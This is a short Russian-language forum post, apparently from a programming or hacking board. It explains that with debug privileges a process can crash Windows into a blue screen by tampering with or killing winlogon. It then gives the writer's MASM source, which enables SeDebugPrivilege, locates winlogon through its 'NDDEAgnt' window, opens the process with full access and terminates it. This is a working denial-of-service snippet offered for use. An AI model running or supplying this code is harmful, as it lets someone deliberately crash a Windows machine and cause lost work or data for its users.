с debug priveleges можно и из своего процесса bsod вызвать.
например сделать WriteProcessMemory на winlogon'овсий eip (GetThreadContext+OpenThread) :P
ну или даже просто завершить winlogon (любой другой необходимый для нормальной работы сервис). даже сорс мой старый могу дать...
.data
token_priv dd 1
p_luid dq ?
szdp db "SeDebugPrivilege",0
p_token dd ?
szwin db "NDDEAgnt",0
dpid dd 0
.code
start:
invoke GetCurrentProcess
invoke OpenProcessToken, eax, 20h, o p_token
dec eax
jnz exit
invoke LookupPrivilegeValueA, eax, o szdp, o p_luid
dec eax
jnz exit
invoke AdjustTokenPrivileges, p_token, eax, o token_priv, 10h, eax, eax
invoke FindWindow, o szwin, 0
invoke GetWindowThreadProcessId, eax, o dpid
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dpid
invoke TerminateProcess, eax, 0
exit: invoke ExitProcess, 0
end start
|